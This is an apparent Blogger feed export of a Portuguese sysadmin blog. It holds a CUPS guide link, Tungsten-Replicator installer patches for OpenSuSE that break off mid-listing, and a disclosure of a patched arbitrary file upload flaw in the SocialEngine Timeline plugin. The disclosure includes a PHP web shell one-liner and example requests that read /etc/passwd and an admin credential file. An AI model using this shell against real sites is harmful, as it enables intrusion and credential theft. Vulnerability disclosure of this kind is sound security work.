<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2537384307820372300</id><updated>2024-09-04T12:33:36.951-03:00</updated><title type='text'>Wesley Henrique Leite</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>18</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-4590648346558043600</id><published>2013-09-01T22:37:00.000-03:00</published><updated>2013-09-01T22:37:48.835-03:00</updated><title type='text'>Criando um Servidor de Impressão CUPS e obtendo relatórios com o JASmine</title><content type='html'>&lt;br /&gt;
Este documento foi criado por um amigo &quot;&amp;nbsp;&lt;b&gt;Alexandre Martins &quot;&amp;nbsp;&lt;/b&gt;deixarei as referencias e contato do mesmo aqui, qualquer duvida pode entrar em contato ou deixar um comentário.&lt;br /&gt;
&lt;br /&gt;
Não tive tempo de reproduzir o feito, mas, tenho certeza que o material é de qualidade e pode ajudar bastante gente..&lt;br /&gt;
&lt;br /&gt;
Não irei prometer, mas, assim que possível tentarei trabalhar com o Alexandre e integrar ao&lt;b&gt; LDAP&lt;/b&gt; para fazer alguns testes.&lt;br /&gt;
&lt;br /&gt;
Segue link para PDF.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/file/d/0B4bs4vsP4MBaVm9WSF9nelRHWlU&quot;&gt;https://docs.google.com/file/d/0B4bs4vsP4MBaVm9WSF9nelRHWlU&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Por: &lt;b&gt;Alexandre Martins&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
alexandremtec (&#39;) gmail [ dot ] com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/4590648346558043600/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2013/09/criando-um-servidor-de-impressao-cups-e.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/4590648346558043600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/4590648346558043600'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2013/09/criando-um-servidor-de-impressao-cups-e.html' title='Criando um Servidor de Impressão CUPS e obtendo relatórios com o JASmine'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-4056183518540762092</id><published>2013-08-23T16:30:00.001-03:00</published><updated>2013-08-23T16:30:24.034-03:00</updated><title type='text'>SocialEngine 4.5 TimeLine 4.2.5p9 upload file &quot;PHP&quot; - Arbitrary File Upload</title><content type='html'>&lt;br /&gt;
[ + ] http://www.exploit-db.com/exploits/27272/&lt;br /&gt;
[ + ] http://www.securityfocus.com/archive/1/527791/30/0/threaded &lt;br /&gt;
&lt;br /&gt;
+ INTRODUCTION&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
The plugin has the objective give you a better visual for the user&lt;br /&gt;
profile, allowed the addition of cover image keeping the layout closest&lt;br /&gt;
to the style of modern social networks, among other features.&lt;br /&gt;
&lt;br /&gt;
+ DESCRIPTION OF VULNERABILITY&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
Logged into the system, enter on profile page of your user. [my profile]&lt;br /&gt;
&lt;br /&gt;
http://example.com/index.php/profile/[profile-name]&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Click &quot;Change Cover&quot;&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&amp;gt; Click &quot;Upload Cover&quot;&lt;br /&gt;
&lt;br /&gt;
select the file &quot;*.php&quot; you want to send.&lt;br /&gt;
&lt;br /&gt;
//### Example PHP file to send &quot;inject.php&quot; ###&lt;br /&gt;
    &amp;lt;?php echo system(&quot;$_GET[&#39;cmd&#39;]&quot;); ?&amp;gt;&lt;br /&gt;
//###&lt;br /&gt;
&lt;br /&gt;
After selecting the file upload, this will be sent to an area temporarily,&lt;br /&gt;
the system detects that the format is not valid, but doesn?t remove,&lt;br /&gt;
allowing access later.&lt;br /&gt;
&lt;br /&gt;
an error message is displayed on the screen.&lt;br /&gt;
&lt;br /&gt;
[ File &quot;/srv/www/htdocs/example.com/public/temporary/timeline/cover_original_8.&lt;br /&gt;
php&quot;&lt;br /&gt;
is not an image or does not exist ]&lt;br /&gt;
&lt;br /&gt;
+ ACCESS&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
    /srv/www/htdocs/example.com/public/temporary/timeline/cover_original_8.p&lt;br /&gt;
hp&lt;br /&gt;
&lt;br /&gt;
The important thing is the structure of public forward, it will give&lt;br /&gt;
us access to our archive.&lt;br /&gt;
&lt;br /&gt;
account operation system&lt;br /&gt;
    http://example.com/public/temporary/timeline/cover_original_8.php?cmd=ca&lt;br /&gt;
t%20/etc/passwd&lt;br /&gt;
&lt;br /&gt;
account credentials admin application&lt;br /&gt;
    http://example.com/public/temporary/timeline/cover_original_8.php?cmd=ca&lt;br /&gt;
t%20../../../install/config/auth.php&lt;br /&gt;
&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
+ Discovered by: Wesley Henrique Leite ( wesleyhenrique (´) gmail (´) com )&lt;br /&gt;
+ Software: SocialEngine 4.5&lt;br /&gt;
+ Plugin Link: http://webhive.com.ua/store/product.php?id_product=46&lt;br /&gt;
+ Plugin Name+Version :  Timeline 4.2.5p9&lt;br /&gt;
+ CVE-2013-4898&lt;br /&gt;
+ REPORTED TO VENDOR JUL 17 2013&lt;br /&gt;
+ PATCH RELEASED            JUL 25 2013&lt;br /&gt;
-------------------------------------------------------------</content><link rel='replies' type='application/atom+xml' href='http://wesleyhenriqueleite.blogspot.com/feeds/4056183518540762092/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2013/08/socialengine-45-timeline-425p9-upload.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/4056183518540762092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2537384307820372300/posts/default/4056183518540762092'/><link rel='alternate' type='text/html' href='http://wesleyhenriqueleite.blogspot.com/2013/08/socialengine-45-timeline-425p9-upload.html' title='SocialEngine 4.5 TimeLine 4.2.5p9 upload file &quot;PHP&quot; - Arbitrary File Upload'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/14743264157748275917</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2537384307820372300.post-4652266142541361441</id><published>2013-02-01T13:53:00.000-02:00</published><updated>2013-02-01T16:48:54.568-02:00</updated><title type='text'>Tungsten-Replicator 2.0.6 nativo no OpenSuse 12.1 x64</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu-a-iR0eEqC2-9mqK4dwnH3DP552bRC8L9YEjIrrKdoUap2Eqr3X66pqUWG2dBJ6WV9d704S3lTXZ49bBXjv2Peh_npOaGy6hEez2WxQ6eYU6LpqB9WDwfZEMWNJgca8JWW-H5FkUcH0/s1600/tungstenreplicatorswans.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu-a-iR0eEqC2-9mqK4dwnH3DP552bRC8L9YEjIrrKdoUap2Eqr3X66pqUWG2dBJ6WV9d704S3lTXZ49bBXjv2Peh_npOaGy6hEez2WxQ6eYU6LpqB9WDwfZEMWNJgca8JWW-H5FkUcH0/s1600/tungstenreplicatorswans.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Tungsten-Replicator é um projeto de software livre e tem como objetivo replicar banco de dados, atualmente oferece suporte para mysql e postgres, fornece uma forma fácil para determinar master, slave e até mesmo múltiplos servidores masters.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Irei demonstrar as modificações que devem ser feitas no script de instalação para que funcione perfeitamente no OpenSuSE 12.1 x64 (sem apresentar mensagens de erro na instalação), uma vez que, foi nessa versão que testei, tendo isso como base, acredito ser possível portar para qualquer outra distro, a única exigência é cumprir com os pré-requisitos de dependência para que funcione corretamente.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Um detalhe importante a respeito dos requisitos, é o fato de ser obrigatório a instalação do Java da Oracle, até obtive êxito com as versões alternativas, mas, não foi possível consultar, por exemplo, status de serviço, pode ser que algo mais importante tenha parado.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Bastou apenas abrir os arquivos, entender o que estava acontecendo e claro, alguns retornos de erro &quot;rsrsrs&quot;, bom, um conhecimento básico de ruby é necessário, basicamente como inserir um elsif sem atrapalhar o restante da estrutura.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;O script de instalação checa se a distro é&amp;nbsp;compatível&amp;nbsp;com o que foi definido por eles, certamente muitos testes foram feitos e por algum motivo a equipe adotou somente Debian, Ubuntu e RedHat, mas como poderá &amp;nbsp;ver, &amp;nbsp;funcionará perfeitamente.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: 15px; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Mudanças realizadas no arquivo de configuração &lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 15px; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify; text-indent: 36pt;&quot;&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Nenhuma linha original foi removida, algumas foram adicionadas e outras modificadas.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;
&lt;span style=&quot;font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Arquivo &lt;/span&gt;&lt;span style=&quot;color: blue; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;tools/ruby/configurator.rb &lt;/span&gt;&lt;span style=&quot;font-size: 15px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;(Linha adicionadas) &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;
&lt;span style=&quot;font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; border: none; width: 624px;&quot;&gt;&lt;colgroup&gt;&lt;col width=&quot;*&quot;&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr style=&quot;height: 0px;&quot;&gt;&lt;td style=&quot;background-color: black; border: 1px solid rgb(153, 153, 153); padding: 7px; vertical-align: top;&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;63 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: white; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;OS_DISTRO_OPENSUSE = &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;distro_opensuse&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1020 &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;elsif&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; File.exist?(&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;/etc/SuSE-release&quot;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1021 &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;@options.distro = OS_DISTRO_OPENSUSE&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1038 &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;elsif &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;File.exist?(&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;/etc/SuSE-release&quot;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;1039 &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;true&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: white; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Arquivo &lt;/span&gt;&lt;span style=&quot;color: blue; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;tools/ruby/configure/modules/validation_deployment.rb&lt;/span&gt;&lt;span style=&quot;font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;font-size: 15px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;(Linhas adicionadas &amp;nbsp;271, 272, 409 e 410 &amp;nbsp;&amp;nbsp;&amp;nbsp;Linhas Modificadas 281 e 282 apenas modificada a referência ao &lt;/span&gt;&lt;span style=&quot;font-size: 15px; font-style: italic; font-weight: bold; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;OpenSuSE&lt;/span&gt;&lt;span style=&quot;font-size: 15px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;b id=&quot;internal-source-marker_0.0718814751598984&quot; style=&quot;font-weight: normal; text-align: start;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;
&lt;span style=&quot;font-size: 15px; font-style: italic; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;div dir=&quot;ltr&quot;&gt;
&lt;table style=&quot;border-collapse: collapse; border: none; width: 624px;&quot;&gt;&lt;colgroup&gt;&lt;col width=&quot;*&quot;&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr style=&quot;height: 0px;&quot;&gt;&lt;td style=&quot;background-color: black; border: 1px solid rgb(183, 183, 183); padding: 7px; vertical-align: top;&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;271&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&amp;nbsp;elsif&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; File.exist?(&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;/etc/SuSE-release&quot;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;272&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system = cmd_result(&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;cat /etc/SuSE-release | cut -d&#39;=&#39; -f2 | tr &#39;\n&#39; &#39; &#39; &quot;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: transparent; color: yellow; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;281&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #4a86e8; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;debug &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #ff9900; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;Tungsten checks for the presence of \&quot;/etc/SuSE-release\&quot;, \&quot;/etc/redhat-release\&quot; or \&quot;/etc/debian_version\&quot; to determine the distribution.&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #f3f3f3; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt; text-align: justify;&quot;&gt;
